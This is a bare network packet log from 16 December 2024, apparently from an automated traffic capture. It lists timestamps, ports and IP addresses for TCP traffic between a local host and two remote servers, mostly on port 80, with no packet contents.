Dec 16, 2024 09:01:33.829412937 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.829468966 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.829547882 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.829597950 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.830229998 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.830281019 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.830375910 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.830426931 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.831059933 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.831113100 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.831192017 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.831243038 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.831907034 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.831959009 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.832000017 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.832055092 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.832717896 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.832771063 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.832834005 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.832881927 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.833540916 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.833591938 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.833667040 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.833714008 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.834373951 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.834443092 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.834489107 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.834538937 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.835252047 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.835300922 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.835374117 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.835424900 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.836178064 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.836213112 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.836227894 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.836261034 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.836877108 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.836932898 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.837070942 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.837120056 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.837707043 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.837757111 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.837760925 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.837807894 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.838500977 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.838557959 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.838620901 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.838670969 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.839412928 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.839466095 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.839466095 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.839523077 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.840209961 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.840264082 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.840352058 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.840400934 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.841007948 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.841098070 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.841104984 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.841155052 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.841820955 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.841877937 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.841943026 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.841991901 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.842642069 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.842694044 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.842756033 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.842807055 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.843473911 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.843528032 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.843585968 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.843637943 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.844116926 CET	443	49877	23.55.153.106	192.168.2.5
Dec 16, 2024 09:01:33.844165087 CET	443	49877	23.55.153.106	192.168.2.5
Dec 16, 2024 09:01:33.844197989 CET	49877	443	192.168.2.5	23.55.153.106
Dec 16, 2024 09:01:33.844223022 CET	443	49877	23.55.153.106	192.168.2.5
Dec 16, 2024 09:01:33.844297886 CET	443	49877	23.55.153.106	192.168.2.5
Dec 16, 2024 09:01:33.844302893 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.844305992 CET	49877	443	192.168.2.5	23.55.153.106
Dec 16, 2024 09:01:33.844358921 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.844415903 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.844450951 CET	49877	443	192.168.2.5	23.55.153.106
Dec 16, 2024 09:01:33.844470024 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.845093966 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.845163107 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.845241070 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.845290899 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.845828056 CET	49877	443	192.168.2.5	23.55.153.106
Dec 16, 2024 09:01:33.845864058 CET	443	49877	23.55.153.106	192.168.2.5
Dec 16, 2024 09:01:33.845894098 CET	49877	443	192.168.2.5	23.55.153.106
Dec 16, 2024 09:01:33.845907927 CET	443	49877	23.55.153.106	192.168.2.5
Dec 16, 2024 09:01:33.845942020 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.845997095 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.846075058 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.846124887 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.846829891 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.846888065 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.846932888 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.846987009 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.847601891 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.847657919 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.847733974 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.847786903 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.848474979 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.848510027 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.848527908 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.848548889 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.849246979 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.849301100 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.849359989 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.849426031 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.850078106 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.850130081 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.850208044 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.850255966 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.850905895 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.850980043 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.851037979 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.851080894 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.851780891 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.851830006 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.851834059 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.851881981 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.852602005 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.852654934 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.852726936 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.852777004 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.853382111 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.853435040 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.853492022 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.853544950 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.854226112 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.854290962 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.854371071 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.854422092 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.855036020 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.855103016 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.855180979 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.855232954 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.855859995 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.855901957 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.855972052 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.856024981 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.856717110 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.856770992 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.856816053 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.856864929 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.857502937 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.857568979 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.857635021 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.857826948 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.858340025 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.858392000 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.858455896 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.858503103 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.859169960 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.859224081 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.859303951 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.859365940 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.859994888 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.860049963 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.860111952 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.860162020 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.860867977 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.860918999 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.860980988 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.861032009 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.861646891 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.861709118 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.861758947 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.861814022 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.862469912 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.862519979 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.862582922 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.862627983 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.863396883 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.863431931 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.863449097 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.863477945 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.864123106 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.864182949 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.864248037 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.864289045 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.864952087 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.865001917 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.865066051 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.865108967 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.865793943 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.865859032 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.865906954 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.865957022 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.866604090 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.866663933 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.866744041 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.866796970 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.867430925 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.867547989 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.867810011 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.867810011 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.868257999 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.868309021 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.868314028 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.868354082 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.869064093 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.869132042 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.017838955 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.017915964 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.018053055 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.018101931 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.018121958 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.018140078 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.018152952 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.018187046 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.018846035 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.018898964 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.018994093 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.019045115 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.019676924 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.019732952 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.019794941 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.019849062 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.020529985 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.020581007 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.020634890 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.020685911 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.021347046 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.021401882 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.021450996 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.021502018 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.022170067 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.022219896 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.022313118 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.022367001 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.023155928 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.023211956 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.023302078 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.023359060 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.023821115 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.023881912 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.023905039 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.023950100 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.024653912 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.024705887 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.024755955 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.024806976 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.025465965 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.025517941 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.025590897 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.025636911 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.026288033 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.026336908 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.026395082 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.026444912 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.027137041 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.027190924 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.027252913 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.027303934 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.027985096 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.028038025 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.028104067 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.028206110 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.028774977 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.028824091 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.028840065 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.028886080 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.029648066 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.029705048 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.029706955 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.029751062 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.030441046 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.030493975 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.030582905 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.030635118 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.031263113 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.031308889 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.031393051 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.031445980 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.032108068 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.032159090 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.032211065 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.032259941 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.032929897 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.032979965 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.033066988 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.033116102 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.033755064 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.033818007 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.033895016 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.033948898 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.034560919 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.034612894 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.034687042 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.034739971 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.035387993 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.035440922 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.035514116 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.035568953 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.036187887 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.036235094 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.036282063 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.036328077 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.037046909 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.037113905 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.037167072 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.037221909 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.037858963 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.037915945 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.037962914 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.038012028 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.038659096 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.038705111 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.038768053 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.038815022 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.039509058 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.039560080 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.039633036 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.039683104 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.040339947 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.040410995 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.040453911 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.040498018 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.041148901 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.041205883 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.041295052 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.041343927 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.041987896 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.042037964 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.042085886 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.042139053 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.042844057 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.042902946 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.042962074 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.043011904 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.043627024 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.043728113 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.043751955 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.043796062 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.044465065 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.044533968 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.044578075 CET	80	49866	31.41.244.11	192.168.2.5
